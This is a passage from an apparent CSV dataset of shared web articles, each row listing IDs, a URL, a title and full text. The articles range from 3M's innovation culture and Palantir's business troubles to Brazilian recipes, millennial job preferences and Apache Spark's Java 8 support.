engrenagem que multiplica aprendizados e torna o desenvolvimento de soluções mais veloz e robusto. Não esqueça jamais de adicionar os princípios da meritocracia , dos mecanismos de reconhecimento para quem cria algo novo e precioso e da tolerância ao erro de descoberta. Na 3M, essa cultura não foi moldada por seus fundadores, mas sim por seus primeiros líderes, em cada gesto, em cada tomada de decisão. Ainda no início do século XX, William Mcknight, dirigente da companhia por 4 décadas, acreditava fortemente que era necessário encorajar os funcionários a tomar iniciativas, sem alimentar um comportamento passivo e dependente. Leia também: Como formar o time certo para projetos inovadores A 3M aprendeu desde cedo a delegar responsabilidades , conceder autonomia e sinalizar a todo colaborador que deveria passar muito tempo próximo ao cliente , gerando conhecimento para solucionar seus problemas. ""Contrate bons funcionários e deixe-os em paz"" é uma das frases mais poderosas de Mcknight, sintetizando suas crenças no intraempreendedor de alta performance como força motriz da organização. Nos anos 1950, acrescentamos mais um elemento para compor esse sistema que faz da 3M uma das empresas mais inovadoras do mundo há tantas décadas: é a lei dos 15% . Em 2012, eu trouxe ao Brasil o inventor do Post-it ®, o cientista e ex-funcionário da 3M, Art Fry, que me relatou como se deu a criação da tal regra interna que permitia e estimulava os membros da comunidade técnica da empresa a dedicarem parte de seu tempo para criar um projeto de motivação pessoal. A convocação era para que não nos limitássemos a trabalhar apenas nas ideias priorizadas pelas lideranças, definidas nos planejamentos estratégicos. O próprio Art Fry se beneficiou dessa regra 3M ao criar o Post-it®. Por anos, ele desenvolveu seu ""projeto de estimação"" ( Pet Project ) de maneira independente, até conseguir levantar dados promissores e envolver outros colegas que levaram ao lançamento dos blocos autoadesivos em 1980, tornando-se um dos maiores cases de inovações , gerado pela regra dos 15%. A 3Mtm Sun Gun é uma pistola de luz que simula a eficiência da iluminação solar para acertar a tonalidade da cor no trabalho de repintura automotiva e identificar defeitos da superfície do carro. Adivinha? Nasceu da regra dos 15%. Os filmes de retroprojeção Vikuititm para comunicação visual, usados recentemente para montar cenários de alguns programas televisivos de maior audiência no Brasil, é outra solução que nasceu desse incentivo. E não é só coisa que acontece na matriz norte-americana. Há poucos meses, colegas criativos da 3M Brasil , apaixonados pelas possibilidades da tecnologia 3D, desenvolveram uma peça criada por manufatura aditiva que gerou o sistema 3M Venturi de aspiração de pó para lixamento a seco, com muitas vantagens para operações em oficinas. O que está por trás desse mecanismo é alimentar o espírito empreendedor dos funcionários, deixando claro que podem e devem dedicar parte de sua atenção, tempo e energia para um projeto em que acreditem, usando recursos da empresa para criar algo de valor. Em termos de tempo, é pouco mais de uma manhã por semana. Porém, não se trata de uma mera questão de horas dedicadas, mas sim da grande mensagem: Trabalhe na sua ideia! Empreenda dentro da própria organização! Estude e Desenvolva aquele projeto que é objeto de sua paixão. O resultado é que todos ganham. O mercado se beneficia por grandes inovações, a empresa cresce aceleradamente, atraindo e retendo talentos, e o funcionário desperta animado em aprender, implementar e fazer diferença no mundo. Leia também: Os 9 princípios da inovação ágil Mais Embraers e menos fábrcas de parafusos: a inovação que vai salvar o Brasil Traduzindo estratégia em execução",pt
1463006135,CONTENT SHARED,833256912680066502,-1443636648652872475,1042623887799704844,,,,HTML,http://www.androidpolice.com/2016/05/11/rumor-android-vr-will-launch-at-io-with-standalone-headset-reference-appears-in-unreal-engine/,"Rumor: ""Android VR"" Will Launch At I/O With Standalone Headset, Reference Appears In Unreal Engine","The man best known for cofounding the tech blogs Gizmodo and Engadget, Peter Rojas, said today that Google will be unveiling a new platform known as ""Android VR"" along with a standalone VR headset at Google I/O next week. Android VR will definitely be announced next week, and from what I've heard will be less powerful than the Vive or Rift. - Peter Rojas (@peterrojas) May 11, 2016 This is not the first time we've heard of Google's phone-less VR hardware ambitions , and Google I/O's already-published schedule contains VR sessions aplenty. Rojas' tweets give us a bit more information in terms of the alleged experience and branding, which he calls Android VR. While Rojas refers to Android VR as a piece of hardware, it seems likely that the Android VR name refers to the entire experience Google is developing to work with this hardware, so I'll be curious what exactly the headset itself is called. If it is, in fact, marketed as Android VR, that would mark the first time Google has ever used Android to describe a physical, for-sale product. (All previous uses, like Android Wear, [email protected] , Android TV, Android Pay, and Android Auto described apps, platforms, or experiences, not hardware.) Correct. Android VR will be a standalone headset. - Peter Rojas (@peterrojas) May 11, 2016 Rojas says the experience will not quite be up to Vive or Oculus Rift, which given that it is standalone and using mobile-grade hardware (i.e., will not use your phone or a connected PC to power the visuals, it has its own full mobile chipset) makes a lot of sense. He does say it's ""better"" than Gear VR according to what he's heard, but that's obviously going to be a fairly subjective evaluation given he does not claim to have actually used it himself. This is what I've heard. Better than Gear VR, not as good as Rift/Vive. - Peter Rojas (@peterrojas) May 11, 2016 At least one mention of Android VR has also been spotted in the latest Unreal Engine preview . Independently, we have some additional information about Android VR that have not yet been able to verify beyond our initial source (in other words: take it with a grain of salt). Given that the announcement is all but imminent, we've decided to share it. According to information we have received, Android VR may include not only a headset, but a controller of some kind - it's unclear if we're talking about Vive-style hand controllers or a single gamepad-style device, or something in-between. As you may have intuited by now (it's kind of obvious), Android N will also support VR - though we expect Google to bake in VR support to an extent that gets all the way down to things like the homescreen. This could mean a new, VR-specific Android launcher or launcher layout. Finally, we know that Google's internal codename for the project is ""Mirage,"" which seems quite fitting. Unfortunately, the age of this information and the fact that it is from a single source means we cannot vouch for it to the extent of publishing a story for its own sake. It is entirely possible, for example, that the plans for a controller changed or were put on hold since we received this information - we don't know. That said, at the time we received it, we found it trustworthy and consider the source reliable. So, just consider it something to think about. I/O is certainly going to be interesting this year.",en
1463017288,CONTENT SHARED,-5464698687596686623,881856221521045800,-5093529345879917735,,,,HTML,http://www.cnet.com/news/ibms-watson-aims-to-make-being-in-hospital-suck-a-whole-lot-less/,IBM's Watson aims to make hospital stays suck a whole lot less,"Ben Hider / Getty Images It's not the same as a visit from a clown or a star athlete, but the work of a supercomputer could help make kids' stays in the hospital less dreary and frightful. IBM on Wednesday announced a three-year partnership with Alder Hey Children's Hospital in the UK that will see its Watson supercomputer harnessed to analyze and improve every aspect of patient care. Watson became one of the world's most famous artificial intelligence systems after winning the game show ""Jeopardy"" five year ago and for designing Karolina Kurkova's dress for the Met Gala last week. IBM has been putting Watson's supercomputing powers to task in health care since 2011, when it started assisting doctors in making clinical decisions. Its newest challenge will be to turn Alder Hey into a ""cognitive hospital,"" delivering insights about the patient experience through a new platform. Using feedback from parents and patients, Watson will help the hospital identify anxieties and provide on-demand reassurance and a more-personalized service to young patients, as well as reminding parents about follow-up appointments and aftercare. IBM envisions a variety of other potential applications including matching patients to clinical studies, monitoring admission patterns to help with bed planning and helping manage chronic illnesses through educational applications. An initial version of the platform will be ready for testing in the hospital at year's end. Alder Hey is also developing an app that will let patients access pre-admission services before they arrive in hospital. ""Helping our patients and their families prepare properly for coming into [the] hospital will really reduce their anxiety and could mean we can get them better and home faster,"" Iain Hennessey, a pediatric surgeon and director of innovation at Alder Hey, said in a statement. Patient feedback is critical to helping Watson fully understand and analyze what's going in on the hospital. For the next few months, Alder Hey will be asking patients a range of questions on topics such as what they think of the parking, what they would like to eat, what their favorite games and films are, and what they want their bedroom to look like. They will also be asked what questions they have about clinical procedures, general anesthetic and surgery. Watson will be fed these answers so that it can learn to anticipate and respond to patient and family questions, even before they arrive at the hospital.",en
1463055007,CONTENT SHARED,4563606877148407012,-1032019229384696495,-7498496261095721452,,,,HTML,http://www.wired.com/2016/05/youtubes-new-messenger-means-youll-never-leave-youtube/,YouTube's New Messenger Means You'll Never Have to Leave YouTube,"We've all had it happen: You're talking with a friend, and the conversation turns to something that a YouTube video perfectly encapsulates. For me recently, it was the news of a dead whale washing up on a shore near San Diego. How is a town supposed to get rid of such a thing? "" Not by blowing it up with dynamite,"" a friend of mine laughed. ""There's a famous clip -I think it's on YouTube."" Now YouTube is making a move to let you take those offline moments online directly, without copying and pasting links into emails, texts, apps, or other IMs. Instead, YouTube wants you to chat and share with friends right in YouTube. Starting today, so-called native sharing will go live for a small percentage of YouTube users. They can then spread the feature to their friends by inviting them into conversation threads. Friends can chat about the shared video right inside YouTube's mobile app. They can also reply with another video. The message threads reside within a new tab on YouTube's mobile app so groups can dip in and out of conversations and catch up on what they missed or add new videos of their own. Shimrit Ben-Yair, director of product management at YouTube, says the feature was developed after her team hypothesized that a streamlined native way to share YouTube videos would result in more sharing-which is exactly what YouTube wants. Yes, YouTube is still killing it as a video platform: Today, the average YouTube viewing session on a mobile device is It reaches more 18- to 49-year-olds than any cable network in the US-that's counting YouTube mobile alone. And it's still by far the clear leader in internet video, with a billion-plus users consuming videos rabidly on the site. But Facebook and Snapchat are chasing YouTube's audience aggressively. Even Amazon jumped into the fray, yesterday announcing its own online video posting service. YouTube clearly needs to do what it can to stay competitive, even if that's an incremental move like native sharing. The more time users spend inside the YouTube app, then perhaps the less time they spend on competitors, and especially Facebook, the undisputed king of mobile . If YouTube can keep users glued to their phones and prove to advertisers they can come up with new and creative ways to drum up attention, that's very good for YouTube. The company already uses machine learning techniques that automatically probe users' viewing histories and smartly predict what they might want to see next. Now with IRL human recommendations from friends, users have one less reason to leave.",en
1463055758,CONTENT SHARED,-6792965795755857419,-1387464358334758758,-5763787188286424853,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/05/dial-in-with-ease-using-latest-google.html,Dial in with ease using the latest Google Calendar app for Android,Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Full rollout (1-3 days for feature visibility) Impact: All end users Action: Change management suggested/FYI More Information Google Play Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates,en
1463057701,CONTENT SHARED,-7452761262757182727,-1387464358334758758,-5763787188286424853,,,,HTML,http://figosefunghis.com.br/2016/05/baiao-de-dois-uma-delicia-brasileirissima.html,Baião de Dois - uma delicia brasileiríssima,"Se tem uma receita brasileiríssima que eu amo de paixão é o Baião de Dois! Eu simplesmente não resisto quando encontro um pela frente! Outro dia dando um passeio pela TV vi um trecho do programa da Rita Lobo em que ela preparava o prato, e fiquei babando. Óbvio que depois daquelas cenas eu precisava fazer o baião de dois para matar a vontade. É claro que não posso deixar de ressaltar que além de delicioso o baião de dois pode ser também o rei da praticidade e do reaproveitamento, pois se você já tiver arroz e feijão prontos na geladeira mais da metade da sua receita já está garantida! Por outro lado, se você quiser preparar tudo do zero terá um pouquinho de trabalho, não posso mentir, mas nada que a delicia do resultado final não compense... Para preparar a receita eu usei algumas dicas da Rita Lobo, como a de fritar os cubinhos de queijo coalho até ficarem crocantes e a de cozinhar o arroz no caldo em que se cozinhou o feijão, mas dei uma adaptada nos temperos e em outros detalhezinhos já que eu não me seguro e nunca consigo seguir uma receita à risca, até porque nunca anoto nada. Eu já tinha feito baião de dois antes, mas usei uma receita da minha avó que levava também linguiça e torresmo, talvez seja uma invenção dela já que nunca vi em lugar nenhum colocar linguiça no baião. Dessa vez fiz o prato da maneira mais light possível. Bem, o que você precisa saber antes de preparar a receita é que ela não é uma bomba calórica, é bem nutritiva mas sem exageros. Você sempre poderá optar por usar arroz integral ou multigrãos em lugar do arroz branco, e sempre poderá abrir mão do queijo coalho crocante, o que garantirá um resultado ainda mais skinny ;) kkkk BAIÃO DE DOIS (serve 4 pessoas) Ingredientes: 1 xícara (chá) de arroz branco cru 1 e 1/2 xícara (chá) de feijão fradinho cru 400g de carne seca já dessalgada, cozida e desfiada** 1 cebola pequena bem picada 2 dentes de alho bem picados 1 dente de alho inteiro 2 folhas de louro 1/2 xícara (chá) de salsinha fresca picada 2 colheres (sopa) de coentro fresco bem picado 2 colheres (sopa) bem cheias de manteiga ghee 1 fio de azeite pimenta e sal a gosto 2 palitos de queijo coalho para finalizar Modo de Preparo: Coloque o feijão em uma panela de pressão e cubra com o triplo da quantidade de água. Junte o dente de alho inteiro descascado, um pouco de sal e as folhas de louro. Coloque no fogo alto e quanto a panela pegar pressão reduza um pouco a chama e deixe cozinhar por apenas 15 minutos, então desligue, escorra imediatamente (se continuarem na água quente continuarão cozinhando e ficarão moles, o que para o baião não é legal) e reserve os grãos separadamente do caldo. Refogue em uma panela a cebola e o alho picado em um fio de azeite e assim que a cebola ficar transparente junte o arroz cru e frite por uns 2 minutos. Tempere como de costume e cozinhe no caldo do feijão, se precisar adicione água até atingir a medida do dobro de água para a quantidade de arroz cru utilizado. Cozinhe em fogo alto até ferver e depois em panela semi tampada em fogo reduzido até que os grãos estejam bem soltinhos e cozidos. (dica: se você não quiser errar de jeito nenhum um truque é usar o arroz parbolizado). Com o arroz e o feijão já prontos e reservados pique o queijo coalho em cubos médios e aqueça a manteiga ghee numa panela grande (de preferência uma panela do tipo wok ou frigideira grande). Frite os cubos de queijo coalho na manteiga ghee até que estejam crocantes e dourados. Escorra em papal absorvente e refogue a carne seca já cozida e desfiada nesta mesma panela. Em seguida junte metade da salsinha, o arroz e os grãos de feijão. Misture tudo muito bem e deixe aquecer bem em fogo alto, mexendo sempre para não queimar no fundo. Desligue o fogo, acrescente a salsinha restante e o coentro e se quiser regue com um fio de azeite, antes de misturar tudo novamente. Sirva com os cubinhos de queijo coalho por cima e acompanhe com couve ao alho e óleo. Bom demais!!! E aí, gostou da receita? Comente e compartilhe com os amigos! Acompanhem também as novidades do blog e um pouco do meu dia a dia pelo Instagram! Espero vocês lá: @figosefunghis Também estou no SNAPCHAT, no PINTEREST, no FACEBOOK e no Twitter ;) Beijos, Fabi",pt
1463058176,CONTENT SHARED,8021508382912212558,-9016528795238256703,6581813667058145461,,,,HTML,http://entretenimento.r7.com/receitas-e-dietas/noticias/faca-um-pratico-bolinho-de-parmesao-20091125.html,Bolinho de parmesão,"Para quem ama uma comidinha de boteco mas nem sempre pode dar uma passada por um, que tal aprender a fazer um típico quitute servido em um deles? O Boteco Vila Rica, localizado em São Paulo, oferece uma receita para os internautas do R7 . 500 g parmesão ralado 50 g amido de milho Dois ovos Sal e pimenta do reino a gosto Modo de preparo Misturar todos os ingredientes até formar uma massa homogênea, fazer as bolinhas e fritar por imersão em óleo a 180º C. Sirva em seguida, e bom apetite!",pt
1463058393,CONTENT SHARED,-8222568914848295086,5598537709124463353,4731272954233159568,,,,HTML,https://hbr.org/2016/05/what-millennials-want-from-a-new-job?referral=00563&cm_mmc=email-_-newsletter-_-daily_alert-_-alert_date&utm_source=newsletter_daily_alert&utm_medium=email&utm_campaign=alert_date,What Millennials Want from a New Job,"Millennials, it seems, really are the job hoppers people say they are. Those born between 1980 and 1996 are the most likely to look for and change jobs, according to Gallup's new report "" How Millennials Want to Work and Live ."" Our research - which provides an in-depth look at what defines Millennials as employees, people, and consumers - both confirms and casts aside some of the myths about this particular generation. It paints a nuanced picture that can help inform companies looking to hire and retain Millennial employees - a group that is now the largest generation in the U.S. On the job-hopping question, we found that 21% of Millennial workers had left their job in the last year to do something else, a number that is more than three times higher than that of non-Millennials who report doing the same. We don't have data on what these Millennials left to do; it's possible some may have decided to continue their education, for example. But six in 10 Millennials also say they are open to different job opportunities, which is again the highest percentage among all generations in the workplace. And these opportunities are not within their current company: A separate study that an overwhelming majority of all workers - 93% - say they left their employer the last time they changed roles. Only about 7% took a new position in their company. Why? Well, we know that American workers aren't particularly engaged at work as a whole. And Millennials lead the pack: 71% are either not engaged or actively disengaged at work, making them the least engaged generation in the U.S. Moreover, engagement is essential to retaining employees. Our analysis reveals that 47% of actively disengaged Millennials strongly agree that they will switch jobs if the job market improves in the next 12 months, compared with 17% of engaged Millennials. On the flip side, Millennials' willingness to switch jobs and companies presents a substantial attraction opportunity for organizations. Ultimately, Millennials are consumers of the workplace. They shop around for the jobs that best align with their needs and life goals. More than ever, employers need to know and act on the factors that make their company appealing to these candidates. They have to make it easy for prospects to choose them over their competition. But what exactly do Millennials look for in their job searches? We asked workers how important particular attributes were to them when applying for new jobs. Here's how they break down by generation. For all employees, opportunities to learn and grow and the quality of their manager lead the list. But these issues are often more important for Millennials. At their current stage in life, Millennials fundamentally think about their role as a stepping stone and a growth opportunity. But they also want to feel deeply committed to their role and to work for a manager who will invest in their development, which isn't entirely different from what other generations value. Our research shows that having a great manager and being part of a great management culture are important to all employees. However, Millennials place a greater emphasis on opportunities to learn and grow and opportunities for advancement. What about ping-pong tables and free beer? Contrary to popular perception, Millennials place little importance on a company encouraging creativity or being a fun, informal place to work. In fact, Baby Boomers are slightly more likely than Millennials and Gen Xers to say that creativity and fun are ""extremely important"" to them when applying for a job. But Millennials do need to be convinced why and how an organization will help them learn, grow, and develop, and further their careers. And although income is not among Millennials' top five factors when applying for jobs, it still matters to them when looking for a job, as it does to all employees. Millennials have high levels of student debt and are living in an era of anemic wage growth. This might be why, as we derived from a separate study , half of Millennials said they would consider taking a job with another company for a raise of 20% or less. It is understandable that they would seek roles that make better use of their qualifications and increase their income. But companies should also know that Millennials sometimes value other job attributes, including learning and advancement, even more. If your company wants to do a better job of retaining Millennials, it's important to understand what motivates them, what doesn't, and the delicate balance between the two. And while they differ in some ways from a recruiting and retention standpoint, Millennials largely want the same things from their employers as most generations. They look for growth opportunities, great managers, and jobs that are well-suited for their talents and interests. When organizations can provide these attributes, they may keep their Millennial employees from continually searching for - and pursuing - the next best thing elsewhere.",en
1463060520,CONTENT SHARED,3845974592165897942,-3390049372067052505,-1052427605682946753,,,,HTML,http://www.goodreads.com/book/show/76865.Good_to_Great,Good to Great,"I was hoping this book would give me some guidelines to remember when I start my own business. There were a few good points, but nothing compelling. Reading this book wasn't a very good use of my time. Tips from the book: First Who, then What First, get the right people on the bus (and the wrong people off it), then figure out where to drive. Having the right people in the company is more important than deciding what the company will do, because the right people will help make that decision anyway. ...more",en
1463060649,CONTENT SHARED,4899554125167253337,3829784524040647339,6023808185645702249,,,,HTML,http://simplystatistics.org/2016/05/11/palantir-struggles/,The Real Lesson for Data Science That is Demonstrated by Palantir's Struggles,"Buzzfeed recently published a long article on the struggles of the secretive data science company, Palantir. Over the last 13 months, at least three top-tier corporate clients have walked away, including Coca-Cola, American Express, and Nasdaq, according to internal documents. Palantir mines data to help companies make more money, but clients have balked at its high prices that can exceed $1 million per month, expressed doubts that its software can produce valuable insights over time, and even experienced difficult working relationships with Palantir's young engineers. Palantir insiders have bemoaned the ""low-vision"" clients who decide to take their business elsewhere. Palantir's origins are with PayPal, and its founders are part of the PayPal Mafia . As Peter Thiel describes it in his book Zero to One , PayPal was having a lot of trouble with fraud and the FBI was getting on its case. So PayPal developed some software to monitor the millions of transacations going through its systems and to flag transactions that were suspicious. Eventually, they realized that this kind of software might be useful to government agencies in a variety of contexts and the idea for Palantir was born. Much of the press reaction to Buzzfeed's article amounts to schadenfreude over the potential fall of another so-called Silicon Valley unicorn. Indeed, Palentir is valued at $20 billion, a valuation only exceeded in the private markets by Airbnb and Uber. But to me, nothing in the article indicates that Palantir is necessarily more poorly run than your average startup. It looks like they are going through pretty standard growing pains, trying to scale the business and diversify the customer base. It's not surprising to me that employees would leave at this point-going from startup to ""real company"" is often not that fun and just a lot of work. However, a key question that arises is that if Palantir is having trouble trying to scale the business, why might that be? The Buzzfeed article doesn't contain any answers but in this post I will attempt to speculate. The real message from the Buzzfeed article goes beyond just Palantir and is highly relevant to the data science world. It ultimately comes down to the question of what is the value of data analysis? , and secondarily, how do you communicate that value? The Data Science Spectrum Data science activities live on a spectrum with software on one end and highly customized consulting on another end (I lump a lot of things into consulting, including methods development, modeling, etc.). The idea being that if someone comes to you with a data problem, there are two extremes that you might offer to them: Give them some software, some documentation, and maybe a brief tutorial on how to use the software, and then send them on their way. For example, if someone wants to see if two groups are different from each other, you could send them the t.test() function in R and explain how to use it. This could be done over email; you wouldn't even have to talk to the person. Meet with the person, talk about their problem and the question they're trying to answer, develop an analysis plan, and build a custom software solution that produces the exact output that they're looking for. The first option is cheap, simple, and if you had a good enough web site, the person probably wouldn't even have to talk with you at all! For example, I use this web site for sample size calculations and I've never spoken with the author of the web site. Much of the labor is up front, for the development of the software, and then is amortized over the life of the product. Ultimately, a software product has zero marginal cost and so it can be easily replicated and is infinitely scalable . The second option is labor intensive, time-consuming, ongoing in nature, and is only scalable to the extent that you are willing to forgo sleep and maybe bend the space-time continuum. By definition, a custom solution is unique and is difficult to replicate. Selling Data Science An important question for Palantir and data scientists in general is ""How do you communicate the value of data analysis?"" Many people expect the result of a good data analysis to be something ""surprising"", i.e. something that they didn't already know. Because if they knew it already why bother looking at the data? Think Moneyball-if you can find that ""diamond in the rough"" it make spending the time to analyze the data worthwhile. But the success of a data analysis can't depend on the results . What if you go through the data and find nothing? Is the data analysis a failure? We as data scientists can only show what the data show. Otherwise, it just becomes a recipe for telling people what they want to hear. It's tempting for a client to say ""well, the data didn't show anything surprising so there's no value there."" Also, a data analysis may reveal something that is perhaps interesting but doesn't necessarily lead to any sort of decision. For example, there may be an aspect of a business process that is inefficient but is nevertheless unmodifiable. There may be little perceived value in discovering this with data. What is Useful? Palantir apparently tried to develop a relationship with American Express, but ultimately failed. But some major firms have not found Palantir's products and services that useful. In April 2015, employees were informed that American Express (codename: Charlie's Angels) had dumped Palantir after 18 months of cybersecurity work, including a six-month pilot, an email shows. ""We struggled from day 1 to make Palantir a sticky product for users and generate wins,"" Sid Rajgarhia, a Palantir business development employee, said in the email. What does it mean for a data analysis product to be useful? It's not necessarily clear to me in this case. Did Palantir not reveal new information? Did they not highlight something that could be modified? Lack of Deep Expertise A failed attempt attempt at working with Coke reveals some other challenges of the data science business model. The beverage giant also had other concerns [in addition to the price]. Coke ""wanted deeper industry expertise in a partner,"" Jonty Kelt, a Palantir executive, told colleagues in the email. He added that Coca-Cola's ""working relationship"" with the youthful Palantir employees was ""difficult."" The Coke executive acknowledged that the beverage giant ""needs to get better at working with millennials,"" according to Kelt. Coke spokesperson Scott Williamson declined to comment. Annoying millenials notwithstanding, it's clear that Coke didn't feel comfortable collaborating with Palantir's personnel. Like any data science collaboration, it's key that the data scientist have some familiarity with the domain. In many cases, having ""deep expertise"" in an area can give a collaborator confidence that you will focus on the things that matter to them. But developing that expertise costs money and time and it may prevent you from working with other types of clients where you will necessarily have less expertise. For example, Palantir's long experience working with the US military and intelligence agencies gave them deep expertise in those areas, but how does that help them with a consumer products company? Harder Than It Looks The final example of a client that backed out is Kimberly-Clark: But Kimberly-Clark was getting cold feet by early 2016. In January, a year after the initial pilot, Kimberly-Clark executive Anthony J. Palmer said he still wasn't ready to sign a binding contract, meeting notes show. Palmer also ""confirmed our suspicion"" that a primary reason Kimberly-Clark had not moved forward was that "" they wanted to see if they could do it cheaper themselves ,"" Kelt told colleagues in January. [emphasis added] This is a common problem confronted by anyone in the data science business. A good analysis often looks easy in retrospect-all you did was run some functions and put the data through some models! In fact, running the models probably is the easy part, but getting to the point where you can actually fit models can be incredibly hard. Many clients, not seeing the long and winding process leading to a model, will be tempted think they can do it themselves. Palantir's Valuation Ultimately, what makes Palantir interesting is its astounding valuation. But what is the driver of this valuation? I think the key to answering this question lies in the description of the company itself: The company, based in Palo Alto, California, is essentially a hybrid software and consulting firm, placing what it calls ""forward deployed engineers"" on-site at client offices. What does it mean to be a ""hybrid software and consulting firm""? And which one is the company more like? Consulting or software? Because ultimately, revealing which side of the spectrum Palantir is really on could have huge implications for its valuation and future prospects. Consulting companies can surely make a lot of money, but none to my knowledge have the kind of valuation that Palantir currently commands. If it turns out that every customer of Palantir's requires a custom solution, then I think they're likely overvalued, because that model scales poorly. On the other hand, if Palantir has genuinely figured out a way to ""software-ize"" data analysis and to turn it into a commodity, then they are very likely undervalued. Given the tremendous difficulty of turning data analysis into a software problem, my guess is that they are more akin to a consulting company and are overvalued. This is not to say that they won't make money-they will likely make plenty-but that they won't be the Silicon Valley darling that everyone wants them to be.",en
1463061816,CONTENT SHARED,-4068545238978420047,-4092545774372727680,-7502399018442942367,,,,HTML,http://blog.cloudera.com/blog/2014/04/making-apache-spark-easier-to-use-in-java-with-java-8/,Making Apache Spark Easier to Use in Java with Java 8 - Cloudera Engineering Blog,"Our thanks to Prashant Sharma and Matei Zaharia of Databricks for their permission to re-publish the post below about future Java 8 support in Apache Spark. Spark is now generally available inside CDH 5. One of Apache Spark 's main goals is to make big data applications easier to write. Spark has always had concise APIs in Scala and Python, but its Java API was verbose due to the lack of function expressions. With the addition of lambda expressions in Java 8, we've updated Spark's API to transparently support these expressions, while staying compatible with old versions of Java. This new support will be available in Spark 1.0. A Few Examples The following examples show how Java 8 makes code more concise. In our first example, we search a log file for lines that contain ""error"", using Spark's filter and count operations. The code is simple to write, but passing a Function object to filter is clunky: Java 7 search example: (If you're new to Spark, JavaRDD is a distributed collection of objects, in this case lines of text in a file. We can apply operations to these objects that will automatically be parallelized across a cluster.) With Java 8, we can replace the Function object with an inline function expression, making the code a lot cleaner: Java 8 search example: The gains become even bigger for longer programs. For instance, the program below implements Word Count, by taking a file (read as a collection of lines), splitting each line into multiple words, then counting the words with a reduce function. Java 7 word count: With Java 8, we can write this program in just a few lines: Java 8 word count: We are very excited to offer this functionality, as it opens up the simple, concise programming style that Scala and Python Spark users are familiar with to a much broader set of developers. Availability Java 8 lambda support will be available in Spark 1.0, which will be released in early May. Although using this syntax requires Java 8, Spark 1.0 will still support older versions of Java through the old form of the API . Lambda expressions are simply a shorthand for anonymous inner classes, so the same API can be used in any Java version. Prashant Sharma is a committer on the Spark project. Matei Zaharia is the creator of Spark and the CTO of Databricks. Spark Summit 2014 is coming (June 30 - July 2)! Register here to get 20% off the regular conference price.",en
1463062407,CONTENT REMOVED,-4068545238978420047,-4092545774372727680,-7502399018442942367,,,,HTML,http://blog.cloudera.com/blog/2014/04/making-apache-spark-easier-to-use-in-java-with-java-8/,Making Apache Spark Easier to Use in Java with Java 8 - Cloudera Engineering Blog,"Our thanks to Prashant Sharma and Matei Zaharia of Databricks for their permission to re-publish the post below about future Java 8 support in Apache Spark. Spark is now generally available inside CDH 5. One of Apache Spark 's main goals is to make big data applications easier to write. Spark has always had concise APIs in Scala and Python, but its Java API was verbose due to the lack of function expressions. With the addition of lambda expressions in Java 8, we've updated Spark's API to transparently support these expressions, while staying compatible with old versions of Java. This new support will be available in Spark 1.0. A Few Examples The following examples show how Java 8 makes code more concise. In our first example, we search a log file for lines that contain ""error"", using Spark's filter and count operations. The code is simple to write, but passing a Function object to filter is clunky: Java 7 search example: (If you're new to Spark, JavaRDD is a distributed collection of objects, in this case lines of text in a file. We can apply operations to these objects that will automatically be parallelized across a cluster.) With Java 8, we can replace the Function object with an inline function expression, making the code a lot cleaner: Java 8 search example: The gains become even bigger for longer programs. For instance, the program below implements Word Count, by taking a file (read as a collection of lines), splitting each line into multiple words, then counting the words with a reduce function. Java 7 word count: With Java 8, we can write this program in just a few lines: Java 8 word count: We are very excited to offer this functionality, as it opens up the simple, concise programming style that Scala and Python Spark users are familiar with to a much broader set of developers. Availability Java 8 lambda support will be available in Spark 1.0, which will be released in early May. Although using this syntax requires Java 8, Spark 1.0 will still support older versions of Java through the old form of the API . Lambda expressions are simply a shorthand for anonymous inner classes, so the same API can be used in any Java version. Prashant Sharma is a committer on the Spark project. Matei Zaharia is the creator of Spark and the CTO of Databricks. Spark Summit 2014 is coming (June 30 - July 2)! Register here to get 20% off the regular conference price.",en
1463064591,CONTENT SHARED,7288937801410681383,5175412143320664868,477757007212615232,,,,HTML,http://www.amazon.com/Gold-Mine-Novel-Lean-Turnaround/dp/0974322563,The Gold Mine: A Novel of Lean Turnaround,"Format: Paperback Just in time for summer, the Lean Enterprise Institute has published The Gold Mine by Freddy and Michael Balle, an excellent novel on executing a lean manufacturing turnaround. Here's a great way to relax on the beach with an entertaining book while also getting some great ideas on how to improve your operations... without having to slog through yet another mind-numbing business best seller. Coming from the organization spawned by Womack and Jones (the authors of the definitive text on Lean, Lean Thinking), I had great expectations for this book. Goldratt's The Goal has been required reading for many years. It provides a good introduction to theory of constraints, also in the format of an entertaining novel. However it falls a little short on explaining how to implement the concept in the real world. The Gold Mine goes several steps further. The novel begins with a real-life business situation that many of us have experienced... strong sales, a backlog, great products... but still a cash flow problem. By using all of the core Lean tools such as 5S, kanban, pull, heijunka, jidoka, value stream mapping, and kaizen, the novel's characters turn the business around. Real life roadblocks are encountered, and the implementation of each concept is detailed. Perhaps the most valuable insight is with the people side of Lean... something that many lean implementations forget about. The novel spends quite a bit of time on the emotional and leadership growth of the characters, and how they inspired their team to greatness. As Jim Womack says, ""Mastery of the technical details of lean thinking is never enough. A transformation will fail without the most important element: the engagement of the people doing the work."" After reading this novel you may want to escape the beach and get back to work!",en
1463069426,CONTENT SHARED,4069333494579100211,-6946355789336786528,-7081787747828480914,,,,HTML,http://gradle.org/blog/agile-is-dead/,"Agile is Dead, Long Live Continuous Delivery - Gradle","So Agile is dead, so it's time to eulogize. I know ""Agile is Dead"" is not a terribly new idea, I know many others have made this claim including: But I wanted to give a perspective on it as well as a path forward. Agile had a long and productive life. Agile had a great run in it's youth by taking on some obviously bad practices such as ""Waterfall"" software development. In retrospect, the collection of Agile methods had some very strong tendencies to de-risk software delivery by surfacing shippable software frequently in the form of ""Sprints"". Agile's death was an untimely one, brought about by years of neglect and abuse. The word Agile has come to be somewhat meaningless, which is why it's time to move on from it. So many development teams for lack of a better word claim to be ""Agile"" and in some ways it's often used as a way to excuse lack of visibility, lack of planning and by individuals who haven't read the Agile Manifesto or don't have a particularly deep experience shipping software at scale. So when a word loses all meaning, it's time to move on. Dave Thomas was the one who found the body and reported it to the police. One of the horrible things to contemplate when looking at the dead body of Agile was the emergence of the ""Grab Bag"" approach to take 2-3 principles of Agile and just move ahead with those without actually considering the appropriateness of those principles for the team and for what was being developed. Now that Agile is Dead, we got to see how many people come to the funeral of Agile, turns out Agile meant so many different things to so many different people. But not to speak ill of the dead, but Agile didn't have very much sponsorship in the executive suite. Agile was a collection of essentially rebellious methodologies, and what Agile rebelled against was worthy for its time, and Agile did it's job to topple the tyranny of Waterfall software development. But 